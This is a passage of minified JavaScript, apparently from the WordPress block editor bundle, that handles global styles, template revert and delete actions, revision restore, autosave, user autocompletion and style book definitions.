r=(0,bh.useNavigator)(),{path:o}=r.location,n=(0,q6.usePrevious)(e),i=(0,q6.usePrevious)(o);return(0,Uu.useEffect)(()=&gt;{e&amp;&amp;e!==o&amp;&amp;(e!==n?r.goTo(e):o!==i&amp;&amp;t&amp;&amp;t(o??&quot;/&quot;))},[t,e,i,n,o,r]),null}var K6=s(C(),1);function Sh(e){return function({value:r,baseValue:o,onChange:n,...i}){return(0,K6.jsx)(gb,{value:r,baseValue:o,onChange:n,children:(0,K6.jsx)(e,{...i})})}}var U_e=Sh(Mx);var H_e=Sh(fh);var G_e=Sh(oh);var W_e=s(C(),1);var TG=s(Yd(),1);var vG=s(O(),1),yG=s(D(),1),bG=s($(),1),SG=s(he(),1);function _G({path:e,onPathChange:t}){let{selectedBlockName:r,selectedBlockClientId:o}=(0,vG.useSelect)(a=&gt;{let{getSelectedBlockClientId:l,getBlockName:c}=a(bG.store),u=l();return{selectedBlockName:c(u),selectedBlockClientId:u}},[]),n=!0,i=(0,SG.usePrevious)(o);return(0,yG.useEffect)(()=&gt;{if(o===i||!o||!n||!e||e!==&quot;/blocks&quot;&amp;&amp;!e.startsWith(&quot;/blocks/&quot;))return;let a=&quot;/blocks/&quot;+encodeURIComponent(r);a!==e&amp;&amp;t?.(a)},[o,i,r,n,e,t]),null}var Yf=s(D(),1);var _h=s(W(),1),wh=s(O(),1),wG=s($(),1);var{cleanEmptyObject:X6}=N(wG.privateApis);function Y_e(){let{globalStylesId:e,isReady:t,settings:r,styles:o,_links:n}=(0,wh.useSelect)(u=&gt;{let{getEntityRecord:d,getEditedEntityRecord:f,hasFinishedResolution:m,canUser:h}=u(_h.store),g=u(_h.store).__experimentalGetCurrentGlobalStylesId(),v,y=g?h(&quot;update&quot;,{kind:&quot;root&quot;,name:&quot;globalStyles&quot;,id:g}):null;g&amp;&amp;typeof y==&quot;boolean&quot;&amp;&amp;(y?v=f(&quot;root&quot;,&quot;globalStyles&quot;,g):v=d(&quot;root&quot;,&quot;globalStyles&quot;,g,{context:&quot;view&quot;}));let b=!1;return m(&quot;__experimentalGetCurrentGlobalStylesId&quot;)&amp;&amp;(g?b=y?m(&quot;getEditedEntityRecord&quot;,[&quot;root&quot;,&quot;globalStyles&quot;,g]):m(&quot;getEntityRecord&quot;,[&quot;root&quot;,&quot;globalStyles&quot;,g,{context:&quot;view&quot;}]):b=!0),{globalStylesId:g,isReady:b,settings:v?.settings,styles:v?.styles,_links:v?._links}},[]),{getEditedEntityRecord:i}=(0,wh.useSelect)(_h.store),{editEntityRecord:a}=(0,wh.useDispatch)(_h.store),l=(0,Yf.useMemo)(()=&gt;({settings:r??{},styles:o??{},_links:n??{}}),[r,o,n]),c=(0,Yf.useCallback)((u,d={})=&gt;{let f=i(&quot;root&quot;,&quot;globalStyles&quot;,e),m={styles:f?.styles??{},settings:f?.settings??{},_links:f?._links??{}},h=typeof u==&quot;function&quot;?u(m):u;a(&quot;root&quot;,&quot;globalStyles&quot;,e,{styles:X6(h.styles)||{},settings:X6(h.settings)||{},_links:X6(h._links)||{}},d)},[e,a,i]);return[t,l,c]}function q_e(){let e=(0,wh.useSelect)(t=&gt;t(_h.store).__experimentalGetCurrentThemeBaseGlobalStyles(),[]);return[!!e,e]}function xo(){let[e,t,r]=Y_e(),[o,n]=q_e();return{merged:(0,Yf.useMemo)(()=&gt;!e||!o?{}:go(n||{},t),[e,o,n,t]),base:n||{},user:t,setUser:r,isReady:e&amp;&amp;o}}function Hu(e,t){let{merged:r}=xo();return(0,Yf.useMemo)(()=&gt;Fy(r,e,t),[r,e,t])}function Q6(e,t){let{merged:r}=xo();return(0,Yf.useMemo)(()=&gt;mf(r,e,t),[r,e,t])}var qf=s(C(),1);function Z_e(){let{styles:e,__unstableResolvedAssets:t,colors:r,gradients:o,__experimentalDiscussionSettings:n,mediaUploadHandler:i,fontLibraryEnabled:a}=(0,CG.useSelect)(u=&gt;{let{getEditorSettings:d}=u(w),{canUser:f}=u(xG.store),m=d(),h=f(&quot;create&quot;,{kind:&quot;postType&quot;,name:&quot;attachment&quot;});return{styles:m?.styles,__unstableResolvedAssets:m?.__unstableResolvedAssets,colors:m?.colors,gradients:m?.gradients,__experimentalDiscussionSettings:m?.__experimentalDiscussionSettings,mediaUploadHandler:h?TG.uploadMedia:void 0,fontLibraryEnabled:m?.fontLibraryEnabled??!0}},[]),l=(0,J6.useMemo)(()=&gt;e?e.filter(u=&gt;!u.isGlobalStyles):[],[e]),c=(0,J6.useMemo)(()=&gt;({__unstableResolvedAssets:t,settings:{color:{palette:{theme:r??[]},gradients:{theme:o??[]},duotone:{theme:[]}}},__experimentalDiscussionSettings:n,mediaUpload:i}),[t,r,o,n,i]);return{serverCSS:l,serverSettings:c,fontLibraryEnabled:a}}function Hx({path:e,onPathChange:t}){let{user:r,base:o,setUser:n,isReady:i}=xo(),{serverCSS:a,serverSettings:l,fontLibraryEnabled:c}=Z_e();return i?(0,qf.jsxs)(qf.Fragment,{children:[(0,qf.jsx)(Z6,{value:r,baseValue:o||{},onChange:n,path:e,onPathChange:t,fontLibraryEnabled:c,serverCSS:a,serverSettings:l}),(0,qf.jsx)(_G,{path:e,onPathChange:t})]}):null}var Gu=s(C(),1);function K_e({template:e,post:t}){let[r=&quot;white&quot;]=Hu(&quot;color.background&quot;),[o]=(0,Ub.useEntityBlockEditor)(&quot;postType&quot;,t.type,{id:t.id}),[n]=(0,Ub.useEntityBlockEditor)(&quot;postType&quot;,e?.type,{id:e?.id}),i=e&amp;&amp;n?n:o,a=!i?.length;return(0,Gu.jsxs)(&quot;div&quot;,{className:&quot;editor-fields-content-preview&quot;,style:{backgroundColor:r},children:[a&amp;&amp;(0,Gu.jsx)(&quot;span&quot;,{className:&quot;editor-fields-content-preview__empty&quot;,children:(0,PG.__)(&quot;Empty content&quot;)}),!a&amp;&amp;(0,Gu.jsx)($6.BlockPreview.Async,{children:(0,Gu.jsx)($6.BlockPreview,{blocks:i})})]})}function EG({item:e}){let{settings:t,template:r}=(0,kG.useSelect)(o=&gt;{let{canUser:n,getPostType:i,getTemplateId:a,getEntityRecord:l}=N(o(Ub.store)),c=n(&quot;read&quot;,{kind:&quot;postType&quot;,name:&quot;wp_template&quot;}),u=o(w).getEditorSettings(),d=u.supportsTemplateMode,f=i(e.type)?.viewable??!1,m=d&amp;&amp;f&amp;&amp;c?a(e.type,e.id):null;return{settings:u,template:m?l(&quot;postType&quot;,&quot;wp_template&quot;,m):void 0}},[e.type,e.id]);return(0,Gu.jsx)(y6,{post:e,settings:t,__unstableTemplate:r,children:(0,Gu.jsx)(K_e,{template:r,post:e})})}var X_e={type:&quot;media&quot;,id:&quot;content-preview&quot;,label:(0,RG.__)(&quot;Content preview&quot;),render:EG,enableSorting:!1},AG=X_e;function Q_e(e){let t=e?.editor;return Array.isArray(t)?!!t[0]?.notes:!1}function J_e(e,t,r){return{type:&quot;REGISTER_ENTITY_ACTION&quot;,kind:e,name:t,config:r}}function $_e(e,t,r){return{type:&quot;UNREGISTER_ENTITY_ACTION&quot;,kind:e,name:t,actionId:r}}function ewe(e,t,r){return{type:&quot;REGISTER_ENTITY_FIELD&quot;,kind:e,name:t,config:r}}function twe(e,t,r){return{type:&quot;UNREGISTER_ENTITY_FIELD&quot;,kind:e,name:t,fieldId:r}}function rwe(e,t){return{type:&quot;SET_IS_READY&quot;,kind:e,name:t}}var owe=[sI,nI,cI,fI,uI,dI,oI,c_,tI,iI,lI],nwe=e=&gt;async({registry:t})=&gt;{if(N(t.select(w)).isEntityReady(&quot;postType&quot;,e))return;N(t.dispatch(w)).setIsReady(&quot;postType&quot;,e);let o=await t.resolveSelect(Gx.store).getPostType(e),n=await t.resolveSelect(Gx.store).canUser(&quot;create&quot;,{kind:&quot;postType&quot;,name:e}),i=await t.resolveSelect(Gx.store).getCurrentTheme(),a=![&quot;wp_block&quot;,&quot;wp_template_part&quot;].includes(o.slug)&amp;&amp;n&amp;&amp;D5;o.slug!==&quot;wp_template&quot;&amp;&amp;(a=void 0),o.slug===&quot;wp_template&quot;&amp;&amp;!window?.__experimentalTemplateActivate&amp;&amp;(a=void 0);let l=[o.viewable?A5:void 0,o.supports?.revisions?G5:void 0,a,o.slug===&quot;wp_template_part&quot;&amp;&amp;n&amp;&amp;i?.is_block_theme?eI:void 0,n&amp;&amp;o.slug===&quot;wp_block&quot;?V5:void 0,o.supports?.title?M5:void 0,o.supports?.[&quot;page-attributes&quot;]?I5:void 0,o.slug===&quot;wp_block&quot;?H5:void 0,q5,L5,J5,K5,Y5].filter(Boolean),c;if(e===ur)c=owe;else if(c=[o.supports?.thumbnail&amp;&amp;i?.theme_supports?.[&quot;post-thumbnails&quot;]&amp;&amp;p5,o.supports?.author&amp;&amp;E5,w5,!Jc.includes(o.slug)&amp;&amp;k5,bO,o.supports?.[&quot;page-attributes&quot;]&amp;&amp;S5,o.supports?.comments&amp;&amp;x5,o.supports?.trackbacks&amp;&amp;T5,(o.supports?.comments||o.supports?.trackbacks)&amp;&amp;P5,g5,_5,o.supports?.editor&amp;&amp;o.viewable&amp;&amp;AG,Q_e(o.supports)&amp;&amp;R5].filter(Boolean),o.supports?.title){let u;e===&quot;page&quot;?u=CO:e===&quot;wp_template&quot;?u=ny:e===&quot;wp_block&quot;?u=iy:u=c_,c.push(u)}t.batch(()=&gt;{l.forEach(u=&gt;{N(t.dispatch(w)).registerEntityAction(&quot;postType&quot;,e,u)}),c.forEach(u=&gt;{N(t.dispatch(w)).registerEntityField(&quot;postType&quot;,e,u)})}),(0,OG.doAction)(&quot;core.registerPostTypeSchema&quot;,e)};function iwe(e){return{type:&quot;SET_CURRENT_TEMPLATE_ID&quot;,id:e}}var swe=e=&gt;async({select:t,dispatch:r,registry:o})=&gt;{let n=await o.dispatch(Co.store).saveEntityRecord(&quot;postType&quot;,&quot;wp_template&quot;,e);return o.dispatch(Co.store).editEntityRecord(&quot;postType&quot;,t.getCurrentPostType(),t.getCurrentPostId(),{template:n.slug}),o.dispatch(Dn.store).createSuccessNotice((0,st.__)(&quot;Custom template created. You&#039;re in template mode now.&quot;),{type:&quot;snackbar&quot;,actions:[{label:(0,st.__)(&quot;Go back&quot;),onClick:()=&gt;r.setRenderingMode(t.getEditorSettings().defaultRenderingMode)}]}),n},awe=e=&gt;({registry:t})=&gt;{let o=(t.select(Zf.store).get(&quot;core&quot;,&quot;hiddenBlockTypes&quot;)??[]).filter(n=&gt;!(Array.isArray(e)?e:[e]).includes(n));t.dispatch(Zf.store).set(&quot;core&quot;,&quot;hiddenBlockTypes&quot;,o)},lwe=e=&gt;({registry:t})=&gt;{let r=t.select(Zf.store).get(&quot;core&quot;,&quot;hiddenBlockTypes&quot;)??[],o=new Set([...r,...Array.isArray(e)?e:[e]]);t.dispatch(Zf.store).set(&quot;core&quot;,&quot;hiddenBlockTypes&quot;,[...o])},cwe=({onSave:e,dirtyEntityRecords:t=[],entitiesToSkip:r=[],close:o,successNoticeContent:n}={})=&gt;({registry:i})=&gt;{let a=[{kind:&quot;postType&quot;,name:&quot;wp_navigation&quot;}],l=&quot;site-editor-save-success&quot;,c=i.select(Co.store).getEntityRecord(&quot;root&quot;,&quot;__unstableBase&quot;)?.home;i.dispatch(Dn.store).removeNotice(l);let u=t.filter(({kind:m,name:h,key:g,property:v})=&gt;!r.some(y=&gt;y.kind===m&amp;&amp;y.name===h&amp;&amp;y.key===g&amp;&amp;y.property===v));o?.(u);let d=[],f=[];u.forEach(({kind:m,name:h,key:g,property:v})=&gt;{m===&quot;root&quot;&amp;&amp;h===&quot;site&quot;?d.push(v):(a.some(y=&gt;y.kind===m&amp;&amp;y.name===h)&amp;&amp;i.dispatch(Co.store).editEntityRecord(m,h,g,{status:&quot;publish&quot;}),f.push(i.dispatch(Co.store).saveEditedEntityRecord(m,h,g)))}),d.length&amp;&amp;f.push(i.dispatch(Co.store).__experimentalSaveSpecifiedEntityEdits(&quot;root&quot;,&quot;site&quot;,void 0,d)),i.dispatch(IG.store).__unstableMarkLastChangeAsPersistent(),Promise.all(f).then(m=&gt;e?e(m):m).then(m=&gt;{m.some(h=&gt;typeof h&gt;&quot;u&quot;)?i.dispatch(Dn.store).createErrorNotice((0,st.__)(&quot;Saving failed.&quot;)):i.dispatch(Dn.store).createSuccessNotice(n||(0,st.__)(&quot;Site updated.&quot;),{type:&quot;snackbar&quot;,id:l,actions:[{label:(0,st.__)(&quot;View site&quot;),url:c,openInNewTab:!0}]})}).catch(m=&gt;i.dispatch(Dn.store).createErrorNotice(`${(0,st.__)(&quot;Saving failed.&quot;)} ${m}`))},uwe=(e,{allowUndo:t=!0}={})=&gt;async({registry:r})=&gt;{let o=&quot;edit-site-template-reverted&quot;;if(r.dispatch(Dn.store).removeNotice(o),!e_(e)){r.dispatch(Dn.store).createErrorNotice((0,st.__)(&quot;This template is not revertable.&quot;),{type:&quot;snackbar&quot;});return}try{let n=r.select(Co.store).getEntityConfig(&quot;postType&quot;,e.type);if(!n){r.dispatch(Dn.store).createErrorNotice((0,st.__)(&quot;The editor has encountered an unexpected error. Please reload.&quot;),{type:&quot;snackbar&quot;});return}let i=(0,NG.addQueryArgs)(`${n.baseURL}/${e.id}`,{context:&quot;edit&quot;,source:e.origin}),a=await(0,FG.default)({path:i});if(!a){r.dispatch(Dn.store).createErrorNotice((0,st.__)(&quot;The editor has encountered an unexpected error. Please reload.&quot;),{type:&quot;snackbar&quot;});return}let l=({blocks:d=[]})=&gt;(0,Wx.__unstableSerializeAndClean)(d),c=r.select(Co.store).getEditedEntityRecord(&quot;postType&quot;,e.type,e.id);r.dispatch(Co.store).editEntityRecord(&quot;postType&quot;,e.type,e.id,{content:l,blocks:c.blocks,source:&quot;custom&quot;},{undoIgnore:!0});let u=(0,Wx.parse)(a?.content?.raw);if(r.dispatch(Co.store).editEntityRecord(&quot;postType&quot;,e.type,a.id,{content:l,blocks:u,source:&quot;theme&quot;}),t){let d=()=&gt;{r.dispatch(Co.store).editEntityRecord(&quot;postType&quot;,e.type,c.id,{content:l,blocks:c.blocks,source:&quot;custom&quot;})};r.dispatch(Dn.store).createSuccessNotice((0,st.__)(&quot;Template reset.&quot;),{type:&quot;snackbar&quot;,id:o,actions:[{label:(0,st.__)(&quot;Undo&quot;),onClick:d}]})}}catch(n){let i=n.message&amp;&amp;n.code!==&quot;unknown_error&quot;?n.message:(0,st.__)(&quot;Template revert failed. Please reload.&quot;);r.dispatch(Dn.store).createErrorNotice(i,{type:&quot;snackbar&quot;})}},dwe=e=&gt;async({registry:t})=&gt;{let r=e.every(n=&gt;n?.has_theme_file),o=await Promise.allSettled(e.map(n=&gt;t.dispatch(Co.store).deleteEntityRecord(&quot;postType&quot;,n.type,n.id,{force:!0},{throwOnError:!0})));if(o.every(({status:n})=&gt;n===&quot;fulfilled&quot;)){let n;if(e.length===1){let i;typeof e[0].title==&quot;string&quot;?i=e[0].title:typeof e[0].title?.rendered==&quot;string&quot;?i=e[0].title?.rendered:typeof e[0].title?.raw==&quot;string&quot;&amp;&amp;(i=e[0].title?.raw),n=r?(0,st.sprintf)((0,st.__)(&#039;&quot;%s&quot; reset.&#039;),(0,e3.decodeEntities)(i)):(0,st.sprintf)((0,st._x)(&#039;&quot;%s&quot; deleted.&#039;,&quot;template part&quot;),(0,e3.decodeEntities)(i))}else n=r?(0,st.__)(&quot;Items reset.&quot;):(0,st.__)(&quot;Items deleted.&quot;);t.dispatch(Dn.store).createSuccessNotice(n,{type:&quot;snackbar&quot;,id:&quot;editor-template-deleted-success&quot;})}else{let n;if(o.length===1)o[0].reason?.message?n=o[0].reason.message:n=r?(0,st.__)(&quot;An error occurred while reverting the item.&quot;):(0,st.__)(&quot;An error occurred while deleting the item.&quot;);else{let i=new Set,a=o.filter(({status:l})=&gt;l===&quot;rejected&quot;);for(let l of a)l.reason?.message&amp;&amp;i.add(l.reason.message);i.size===0?n=(0,st.__)(&quot;An error occurred while deleting the items.&quot;):i.size===1?n=r?(0,st.sprintf)((0,st.__)(&quot;An error occurred while reverting the items: %s&quot;),[...i][0]):(0,st.sprintf)((0,st.__)(&quot;An error occurred while deleting the items: %s&quot;),[...i][0]):n=r?(0,st.sprintf)((0,st.__)(&quot;Some errors occurred while reverting the items: %s&quot;),[...i].join(&quot;,&quot;)):(0,st.sprintf)((0,st.__)(&quot;Some errors occurred while deleting the items: %s&quot;),[...i].join(&quot;,&quot;))}t.dispatch(Dn.store).createErrorNotice(n,{type:&quot;snackbar&quot;})}},fwe=e=&gt;({select:t,registry:r})=&gt;{let o=t.getCurrentPostType(),n=r.select(Co.store).getCurrentTheme()?.stylesheet,i=r.select(Zf.store).get(&quot;core&quot;,&quot;renderingModes&quot;)?.[n]??{};if(i[o]===e)return;let a={[n]:{...i,[o]:e}};r.dispatch(Zf.store).set(&quot;core&quot;,&quot;renderingModes&quot;,a)};function mwe(e){return{type:&quot;SET_STYLES_PATH&quot;,path:e}}function pwe(e){return{type:&quot;SET_SHOW_STYLEBOOK&quot;,show:e}}function hwe(){return{type:&quot;RESET_STYLES_NAVIGATION&quot;}}function gwe(e){return{type:&quot;SET_CANVAS_MIN_HEIGHT&quot;,minHeight:e}}function vwe(e){return{type:&quot;SET_CURRENT_REVISION_ID&quot;,revisionId:e}}var ywe=e=&gt;async({dispatch:t,select:r,registry:o})=&gt;{let n=r.getCurrentPostType(),i=r.getCurrentPostId(),l=o.select(Co.store).getEntityConfig(&quot;postType&quot;,n)?.revisionKey||&quot;id&quot;,c=await o.resolveSelect(Co.store).getRevisions(&quot;postType&quot;,n,i,qd(l,e));o.batch(()=&gt;{t({type:&quot;SET_REVISION_PAGE&quot;,page:e}),c?.length&amp;&amp;t.setCurrentRevisionId(c[0][l])})};function bwe(e){return{type:&quot;SET_SHOW_REVISION_DIFF&quot;,showDiff:e}}var Swe=e=&gt;async({select:t,dispatch:r,registry:o})=&gt;{let n=t.getCurrentPostType(),i=t.getCurrentPostId(),l=o.select(Co.store).getEntityConfig(&quot;postType&quot;,n)?.revisionKey||&quot;id&quot;,c=await o.resolveSelect(Co.store).getRevision(&quot;postType&quot;,n,i,e,{context:&quot;edit&quot;,_fields:[...new Set([&quot;id&quot;,&quot;date&quot;,&quot;modified&quot;,&quot;author&quot;,&quot;meta&quot;,&quot;title.raw&quot;,&quot;excerpt.raw&quot;,&quot;content.raw&quot;,l])].join()});if(!c)return;let u={blocks:void 0,content:c.content.raw};c.title?.raw!==void 0&amp;&amp;(u.title=c.title.raw),c.excerpt?.raw!==void 0&amp;&amp;(u.excerpt=c.excerpt.raw),c.meta!==void 0&amp;&amp;(u.meta=c.meta),r.editPost(u),r.setCurrentRevisionId(null),await r.savePost(),o.dispatch(Dn.store).createSuccessNotice((0,st.sprintf)((0,st.__)(&quot;Restored to revision from %s.&quot;),(0,Yx.dateI18n)((0,Yx.getSettings)().formats.datetime,c.date)),{type:&quot;snackbar&quot;,id:&quot;editor-revision-restored&quot;})};function _we(e,t={focus:!1}){return{type:&quot;SELECT_NOTE&quot;,noteId:e,options:t}}var Ay={reducer:LF,selectors:uO,actions:mO},w=(0,qx.createReduxStore)(WF,{...Ay});(0,qx.register)(w);N(w).registerPrivateActions(t3);N(w).registerPrivateSelectors(yO);var jG=s(C(),1),wwe=e=&gt;(0,LG.createHigherOrderComponent)(t=&gt;({attributes:r,setAttributes:o,...n})=&gt;{let i=(0,DG.useSelect)(u=&gt;u(w).getCurrentPostType(),[]),[a,l]=(0,BG.useEntityProp)(&quot;postType&quot;,i,&quot;meta&quot;),c=(0,MG.useMemo)(()=&gt;({...r,...Object.fromEntries(Object.entries(e).map(([u,d])=&gt;[u,a[d]]))}),[r,a]);return(0,jG.jsx)(t,{attributes:c,setAttributes:u=&gt;{let d=Object.fromEntries(Object.entries(u??{}).filter(([f])=&gt;f in e).map(([f,m])=&gt;[e[f],m]));Object.entries(d).length&amp;&amp;l(d),o(u)},...n})},&quot;withMetaAttributeSource&quot;);function xwe(e){let t=Object.fromEntries(Object.entries(e.attributes??{}).filter(([,{source:r}])=&gt;r===&quot;meta&quot;).map(([r,{meta:o}])=&gt;[r,o]));return Object.entries(t).length&amp;&amp;(e.edit=wwe(t)(e.edit)),e}(0,VG.addFilter)(&quot;blocks.registerBlockType&quot;,&quot;core/editor/custom-sources-backwards-compatibility/shim-attribute-source&quot;,xwe);var tJ=s(mo(),1);var zG=s(D(),1),UG=s(O(),1),HG=s(W(),1),lc=s(C(),1);function Cwe(e){let t=e.avatar_urls&amp;&amp;e.avatar_urls[24]?(0,lc.jsx)(&quot;img&quot;,{className:&quot;editor-autocompleters__user-avatar&quot;,alt:&quot;&quot;,src:e.avatar_urls[24]}):(0,lc.jsx)(&quot;span&quot;,{className:&quot;editor-autocompleters__no-avatar&quot;});return(0,lc.jsxs)(lc.Fragment,{children:[t,(0,lc.jsx)(&quot;span&quot;,{className:&quot;editor-autocompleters__user-name&quot;,children:e.name}),(0,lc.jsx)(&quot;span&quot;,{className:&quot;editor-autocompleters__user-slug&quot;,children:e.slug})]})}var Zx={name:&quot;users&quot;,className:&quot;editor-autocompleters__user&quot;,triggerPrefix:&quot;@&quot;,useItems(e){let t=(0,UG.useSelect)(o=&gt;{let{getUsers:n}=o(HG.store);return n({context:&quot;view&quot;,search:encodeURIComponent(e)})},[e]);return[(0,zG.useMemo)(()=&gt;t?t.map(o=&gt;({key:`user-${o.slug}`,value:o,label:Cwe(o)})):[],[t])]},getOptionCompletion(e){return`@${e.slug}`}};var GG=s(D(),1),WG=s(he(),1),Kx=s(O(),1),YG=s(W(),1);var Twe=class extends GG.Component{constructor(e){super(e),this.needsAutosave=!!(e.isDirty&amp;&amp;e.isAutosaveable)}componentDidMount(){this.props.disableIntervalChecks||this.setAutosaveTimer()}componentDidUpdate(e){if(this.props.disableIntervalChecks){this.props.editsReference!==e.editsReference&amp;&amp;this.props.autosave();return}if(this.props.interval!==e.interval&amp;&amp;(clearTimeout(this.timerId),this.setAutosaveTimer()),!this.props.isDirty){this.needsAutosave=!1;return}if(this.props.isAutosaving&amp;&amp;!e.isAutosaving){this.needsAutosave=!1;return}this.props.editsReference!==e.editsReference&amp;&amp;(this.needsAutosave=!0)}componentWillUnmount(){clearTimeout(this.timerId)}setAutosaveTimer(e=this.props.interval*1e3){this.timerId=setTimeout(()=&gt;{this.autosaveTimerHandler()},e)}autosaveTimerHandler(){if(!this.props.isAutosaveable){this.setAutosaveTimer(1e3);return}this.needsAutosave&amp;&amp;(this.needsAutosave=!1,this.props.autosave()),this.setAutosaveTimer()}render(){return null}},Xx=(0,WG.compose)([(0,Kx.withSelect)((e,t)=&gt;{let{getReferenceByDistinctEdits:r}=e(YG.store),{isEditedPostDirty:o,isEditedPostAutosaveable:n,isAutosavingPost:i,getEditorSettings:a}=e(w),{interval:l=a().autosaveInterval}=t;return{editsReference:r(),isDirty:o(),isAutosaveable:n(),isAutosaving:i(),interval:l}}),(0,Kx.withDispatch)((e,t)=&gt;({autosave(){let{autosave:r=e(w).autosave}=t;r()}}))])(Twe);var Xu=s(E(),1),Wb=s(O(),1),ra=s(A(),1),Yb=s($(),1);var EW=s(yo(),1),RW=s(W(),1),AW=s(jI(),1),dC=s(D(),1),OW=s(he(),1),IW=s(ft(),1),NW=s(xh(),1);var r3=s(E(),1),ZG=s(O(),1),KG=s(W(),1);function Qx(e){let{isFrontPage:t,isPostsPage:r}=(0,ZG.useSelect)(o=&gt;{let{canUser:n,getEditedEntityRecord:i}=o(KG.store),a=n(&quot;read&quot;,{kind:&quot;root&quot;,name:&quot;site&quot;})?i(&quot;root&quot;,&quot;site&quot;):void 0,l=parseInt(e,10);return{isFrontPage:a?.page_on_front===l,isPostsPage:a?.page_for_posts===l}});return t?(0,r3.__)(&quot;Homepage&quot;):r?(0,r3.__)(&quot;Posts Page&quot;):!1}var _W=s(A(),1),wW=s(yo(),1),cC=s(E(),1),Gb=s(O(),1);var uC=s(he(),1),xW=s(lt(),1);var mW=s(D(),1);var cc=s(A(),1),ea=s(E(),1),so=s($(),1),Xf=s(O(),1);var Gt=s(D(),1),iC=s(yo(),1),iW=s(Yd(),1),sW=s(W(),1);var Ht=s(E(),1),Ch=[{slug:&quot;theme-colors&quot;,title:(0,Ht.__)(&quot;Theme Colors&quot;),origin:&quot;theme&quot;,type:&quot;colors&quot;},{slug:&quot;theme-gradients&quot;,title:(0,Ht.__)(&quot;Theme Gradients&quot;),origin:&quot;theme&quot;,type:&quot;gradients&quot;},{slug:&quot;custom-colors&quot;,title:(0,Ht.__)(&quot;Custom Colors&quot;),origin:&quot;custom&quot;,type:&quot;colors&quot;},{slug:&quot;custom-gradients&quot;,title:(0,Ht.__)(&quot;Custom Gradients&quot;),origin:&quot;custom&quot;,type:&quot;gradients&quot;},{slug:&quot;duotones&quot;,title:(0,Ht.__)(&quot;Duotones&quot;),origin:&quot;theme&quot;,type:&quot;duotones&quot;},{slug:&quot;default-colors&quot;,title:(0,Ht.__)(&quot;Default Colors&quot;),origin:&quot;default&quot;,type:&quot;colors&quot;},{slug:&quot;default-gradients&quot;,title:(0,Ht.__)(&quot;Default Gradients&quot;),origin:&quot;default&quot;,type:&quot;gradients&quot;}],Jx=[{slug:&quot;site-identity&quot;,title:(0,Ht.__)(&quot;Site Identity&quot;),blocks:[&quot;core/site-logo&quot;,&quot;core/site-title&quot;,&quot;core/site-tagline&quot;]},{slug:&quot;design&quot;,title:(0,Ht.__)(&quot;Design&quot;),blocks:[&quot;core/navigation&quot;,&quot;core/avatar&quot;,&quot;core/post-time-to-read&quot;],exclude:[&quot;core/home-link&quot;,&quot;core/navigation-link&quot;]},{slug:&quot;posts&quot;,title:(0,Ht.__)(&quot;Posts&quot;),blocks:[&quot;core/post-title&quot;,&quot;core/post-excerpt&quot;,&quot;core/post-author&quot;,&quot;core/post-author-name&quot;,&quot;core/post-author-biography&quot;,&quot;core/post-date&quot;,&quot;core/post-terms&quot;,&quot;core/term-description&quot;,&quot;core/query-title&quot;,&quot;core/query-no-results&quot;,&quot;core/query-pagination&quot;,&quot;core/query-numbers&quot;]},{slug:&quot;comments&quot;,title:(0,Ht.__)(&quot;Comments&quot;),blocks:[&quot;core/comments-title&quot;,&quot;core/comments-pagination&quot;,&quot;core/comments-pagination-numbers&quot;,&quot;core/comments&quot;,&quot;core/comments-author-name&quot;,&quot;core/comment-content&quot;,&quot;core/comment-date&quot;,&quot;core/comment-edit-link&quot;,&quot;core/comment-reply-link&quot;,&quot;core/comment-template&quot;,&quot;core/post-comments-count&quot;,&quot;core/post-comments-link&quot;]}],o3=[{slug:&quot;overview&quot;,title:(0,Ht.__)(&quot;Overview&quot;),blocks:[]},{slug:&quot;text&quot;,title:(0,Ht.__)(&quot;Text&quot;),blocks:[&quot;core/post-content&quot;,&quot;core/home-link&quot;,&quot;core/navigation-link&quot;]},{slug:&quot;colors&quot;,title:(0,Ht.__)(&quot;Colors&quot;),blocks:[]},{slug:&quot;theme&quot;,title:(0,Ht.__)(&quot;Theme&quot;),subcategories:Jx},{slug:&quot;media&quot;,title:(0,Ht.__)(&quot;Media&quot;),blocks:[&quot;core/post-featured-image&quot;]},{slug:&quot;widgets&quot;,title:(0,Ht.__)(&quot;Widgets&quot;),blocks:[]},{slug:&quot;embed&quot;,title:(0,Ht.__)(&quot;Embeds&quot;),include:[]}],Pwe=[...Jx,{slug:&quot;media&quot;,title:(0,Ht.__)(&quot;Media&quot;),blocks:[&quot;core/post-featured-image&quot;]},{slug:&quot;widgets&quot;,title:(0,Ht.__)(&quot;Widgets&quot;),blocks:[]},{slug:&quot;embed&quot;,title:(0,Ht.__)(&quot;Embeds&quot;),include:[]}],XG=[{slug:&quot;overview&quot;,title:(0,Ht.__)(&quot;Overview&quot;),blocks:[]},{slug:&quot;text&quot;,title:(0,Ht.__)(&quot;Text&quot;),blocks:[&quot;core/post-content&quot;,&quot;core/home-link&quot;,&quot;core/navigation-link&quot;]},{slug:&quot;colors&quot;,title:(0,Ht.__)(&quot;Colors&quot;),blocks:[]},{slug:&quot;blocks&quot;,title:(0,Ht.__)(&quot;All Blocks&quot;),blocks:[],subcategories:Pwe}],kwe=`
	.is-root-container {
		display: flow-root;
	}
`,QG=`
	body {
		position: relative;
		padding: 32px !important;
	}

	${kwe}

	.editor-style-book__examples {
		max-width: 1200px;
		margin: 0 auto;
	}

	.editor-style-book__example {
	    max-width: 900px;
		border-radius: 2px;
		cursor: pointer;
		display: flex;
		flex-direction: column;
		gap: 40px;
		padding: 16px;
		width: 100%;
		box-sizing: border-box;
		scroll-margin-top: 32px;
		scroll-margin-bottom: 32px;
		margin: 0 auto 40px auto;
	}

	.editor-style-book__example.is-selected {
		box-shadow: 0 0 0 1px var(--wp-components-color-accent, var(--wp-admin-theme-color, #007cba));
	}

	.editor-style-book__example.is-disabled-example {
		pointer-events: none;
	}

	.editor-style-book__example:focus:not(:disabled) {
		box-shadow: 0 0 0 var(--wp-admin-border-width-focus) var(--wp-components-color-accent, var(--wp-admin-theme-color, #007cba));
		outline: 3px solid transparent;
	}

	.editor-style-book__duotone-example &gt; div:first-child {
		display: flex;
		aspect-ratio: 16 / 9;
		grid-row: span 1;
		grid-column: span 2;
	}
	.editor-style-book__duotone-example img {
		width: 100%;
		height: 100%;
		object-fit: cover;
	}
	.editor-style-book__duotone-example &gt; div:not(:first-child) {
		height: 20px;
		border: 1px solid color-mix( in srgb, currentColor 10%, transparent );
	}

	.editor-style-book__color-example {
		border: 1px solid color-mix( in srgb, currentColor 10%, transparent );
	}

	.editor-style-book__subcategory-title,
	.editor-style-book__example-title {
		font-family: -apple-system, BlinkMacSystemFont, &quot;Segoe UI&quot;, Roboto, Oxygen-Sans, Ubuntu, Cantarell, &quot;Helvetica Neue&quot;, sans-serif;
